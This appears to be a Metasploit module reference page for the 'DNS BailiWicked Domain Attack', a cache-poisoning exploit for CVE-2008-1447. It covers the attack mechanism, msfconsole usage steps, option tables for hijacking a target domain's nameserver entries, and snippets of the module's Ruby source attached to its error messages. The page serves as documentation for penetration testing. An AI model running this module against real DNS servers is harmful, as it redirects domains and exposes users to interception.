DNS BailiWicked Domain Attack - Metasploit


This page contains detailed information about how to use the auxiliary/spoof/dns/bailiwicked_domain metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DNS BailiWicked Domain Attack
Module: auxiliary/spoof/dns/bailiwicked_domain
Source code: modules/auxiliary/spoof/dns/bailiwicked_domain.rb
Disclosure date: 2008-07-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2008-1447

This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > show targets
    ... a list of targets ...
msf auxiliary(bailiwicked_domain) > set TARGET target-id
msf auxiliary(bailiwicked_domain) > show options
    ... show and set options ...
msf auxiliary(bailiwicked_domain) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • SRCPORT: The target server's source query port (0 for automatic)

  • NEWDNS: The hostname of the replacement DNS server

Go back to menu.

Msfconsole Usage


Here is how the spoof/dns/bailiwicked_domain auxiliary module looks in the msfconsole:

msf6 > use auxiliary/spoof/dns/bailiwicked_domain

msf6 auxiliary(spoof/dns/bailiwicked_domain) > show info

       Name: DNS BailiWicked Domain Attack
     Module: auxiliary/spoof/dns/bailiwicked_domain
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-07-21

Provided by:
  I)ruid <[email protected]>
  hdm <[email protected]>
  Cedric Blancher <[email protected]>

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DOMAIN     example.com      yes       The domain to hijack
  INTERFACE                   no        The name of the interface
  NEWDNS                      yes       The hostname of the replacement DNS server
  RECONS     208.67.222.222   yes       The nameserver used for reconnaissance
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SNAPLEN    65535            yes       The number of bytes to capture
  SRCADDR    Real             yes       The source address to use for sending the queries (Accepted: Real, Random)
  SRCPORT                     yes       The target server's source query port (0 for automatic)
  TIMEOUT    500              yes       The number of seconds to wait for new data
  TTL        32380            yes       The TTL for the malicious host entry
  XIDS       0                yes       The number of XIDs to try for each query (0 for automatic)

Description:
  This exploit attacks a fairly ubiquitous flaw in DNS implementations 
  which Dan Kaminsky found and disclosed ~Jul 2008. This exploit 
  replaces the target domains nameserver entries in a vulnerable DNS 
  cache server. This attack works by sending random hostname queries 
  to the target DNS server coupled with spoofed replies to those 
  queries from the authoritative nameservers for that domain. 
  Eventually, a guessed ID will match, the spoofed packet will get 
  accepted, and the nameserver entries for the target domain will be 
  replaced by the server specified in the NEWDNS option of this 
  exploit.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-1447
  OSVDB (46776)
  https://www.kb.cert.org/vuls/id/800113
  http://www.caughq.org/exploits/CAU-EX-2008-0003.txt

Module Options


This is a complete list of options available in the spoof/dns/bailiwicked_domain auxiliary module:

msf6 auxiliary(spoof/dns/bailiwicked_domain) > show options

Module options (auxiliary/spoof/dns/bailiwicked_domain):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DOMAIN     example.com      yes       The domain to hijack
   INTERFACE                   no        The name of the interface
   NEWDNS                      yes       The hostname of the replacement DNS server
   RECONS     208.67.222.222   yes       The nameserver used for reconnaissance
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SNAPLEN    65535            yes       The number of bytes to capture
   SRCADDR    Real             yes       The source address to use for sending the queries (Accepted: Real, Random)
   SRCPORT                     yes       The target server's source query port (0 for automatic)
   TIMEOUT    500              yes       The number of seconds to wait for new data
   TTL        32380            yes       The TTL for the malicious host entry
   XIDS       0                yes       The number of XIDs to try for each query (0 for automatic)

Advanced Options


Here is a complete list of advanced options supported by the spoof/dns/bailiwicked_domain auxiliary module:

msf6 auxiliary(spoof/dns/bailiwicked_domain) > show advanced

Module advanced options (auxiliary/spoof/dns/bailiwicked_domain):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GATEWAY_PROBE_HOST  8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                   no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET              1297303073       yes       A 32-bit cookie for probe requests.
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the spoof/dns/bailiwicked_domain module can do:

msf6 auxiliary(spoof/dns/bailiwicked_domain) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the spoof/dns/bailiwicked_domain auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(spoof/dns/bailiwicked_domain) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ERROR: This server is not replying to recursive requests


Here is a relevant code snippet related to the "ERROR: This server is not replying to recursive requests" error message:

122:	    end
123:	
124:	    srv_sock.close
125:	
126:	    if(ports.keys.length == 0)
127:	      vprint_error("ERROR: This server is not replying to recursive requests")
128:	      return Exploit::CheckCode::Unknown
129:	    end
130:	
131:	    if(reps < 30)
132:	      vprint_warning("WARNING: This server did not reply to all of our requests")

WARNING: This server did not reply to all of our requests


Here is a relevant code snippet related to the "WARNING: This server did not reply to all of our requests" error message:

127:	      vprint_error("ERROR: This server is not replying to recursive requests")
128:	      return Exploit::CheckCode::Unknown
129:	    end
130:	
131:	    if(reps < 30)
132:	      vprint_warning("WARNING: This server did not reply to all of our requests")
133:	    end
134:	
135:	    if(random)
136:	      ports_u = ports.keys.length
137:	      ports_r = ((ports.keys.length/30.0)*100).to_i

PASS: This server does not use a static source port. Randomness: <PORTS_U>/30 %<PORTS_R>


Here is a relevant code snippet related to the "PASS: This server does not use a static source port. Randomness: <PORTS_U>/30 %<PORTS_R>" error message:

133:	    end
134:	
135:	    if(random)
136:	      ports_u = ports.keys.length
137:	      ports_r = ((ports.keys.length/30.0)*100).to_i
138:	      vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
139:	      if(ports_r != 100)
140:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
141:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
142:	        return Exploit::CheckCode::Appears
143:	      end

INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.


Here is a relevant code snippet related to the "INFO: This server's source ports are not really random and may still be exploitable, but not by this tool." error message:

135:	    if(random)
136:	      ports_u = ports.keys.length
137:	      ports_r = ((ports.keys.length/30.0)*100).to_i
138:	      vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
139:	      if(ports_r != 100)
140:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
141:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
142:	        return Exploit::CheckCode::Appears
143:	      end
144:	    else
145:	      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")

FAIL: This server uses a static source port and is vulnerable to poisoning


Here is a relevant code snippet related to the "FAIL: This server uses a static source port and is vulnerable to poisoning" error message:

140:	        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
141:	        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
142:	        return Exploit::CheckCode::Appears
143:	      end
144:	    else
145:	      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
146:	      return Exploit::CheckCode::Vulnerable
147:	    end
148:	
149:	    Exploit::CheckCode::Safe
150:	  end

Warning: target address <TARGET> is not the same as the nameserver's query source address <T_ADDR>!


Here is a relevant code snippet related to the "Warning: target address <TARGET> is not the same as the nameserver's query source address <T_ADDR>!" error message:

186:	            t_addr, t_port = $1.split(':')
187:	            sport = t_port.to_i
188:	
189:	            print_status("Switching to target port #{sport} based on Metasploit service")
190:	            if target != t_addr
191:	              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
192:	            end
193:	          end
194:	        end
195:	      end
196:	    end

Failure: This domain is already using <NEWDNS> as a nameserver


Here is a relevant code snippet related to the "Failure: This domain is already using <NEWDNS> as a nameserver" error message:

210:	          answer = Resolv::DNS::Message.decode(answer)
211:	          answer.each_answer do |name, ttl, data|
212:	
213:	            if((name.to_s + ".") == domain and data.name.to_s == newdns)
214:	              t = Time.now + ttl
215:	              print_error("Failure: This domain is already using #{newdns} as a nameserver")
216:	              print_error("         Cache entry expires on #{t}")
217:	              srv_sock.close
218:	              close_pcap
219:	              return
220:	            end

Cache entry expires on <T>


Here is a relevant code snippet related to the "Cache entry expires on <T>" error message:

211:	          answer.each_answer do |name, ttl, data|
212:	
213:	            if((name.to_s + ".") == domain and data.name.to_s == newdns)
214:	              t = Time.now + ttl
215:	              print_error("Failure: This domain is already using #{newdns} as a nameserver")
216:	              print_error("         Cache entry expires on #{t}")
217:	              srv_sock.close
218:	              close_pcap
219:	              return
220:	            end
221:	          end

Error checking the DNS name: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "Error checking the DNS name: <E.CLASS> <E> <E.BACKTRACE>" error message:

223:	        end
224:	      end until not cached
225:	    rescue ::Interrupt
226:	      raise $!
227:	    rescue ::Exception => e
228:	      print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
229:	    end
230:	
231:	
232:	    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
233:	

No DNS servers found.


Here is a relevant code snippet related to the "No DNS servers found." error message:

258:	        end
259:	      end
260:	    end
261:	
262:	    if barbs.length == 0
263:	      print_status( "No DNS servers found.")
264:	      srv_sock.close
265:	      close_pcap
266:	      return
267:	    end
268:	

The server did not reply, giving up.


Here is a relevant code snippet related to the "The server did not reply, giving up." error message:

269:	    if(xids == 0)
270:	      print_status("Calculating the number of spoofed replies to send per query...")
271:	      qcnt = calculate_race(target, domain, 100)
272:	      numxids = ((qcnt * 1.5) / barbs.length).to_i
273:	      if(numxids == 0)
274:	        print_status("The server did not reply, giving up.")
275:	        srv_sock.close
276:	        close_pcap
277:	        return
278:	      end
279:	      print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")

Error querying the DNS name: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "Error querying the DNS name: <E.CLASS> <E> <E.BACKTRACE>" error message:

376:	            end
377:	          end
378:	        rescue ::Interrupt
379:	          raise $!
380:	        rescue ::Exception => e
381:	          print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
382:	        end
383:	      end
384:	
385:	    end
386:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • I)ruid
  • hdm
  • Cedric Blancher <sid[at]rstack.org>

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.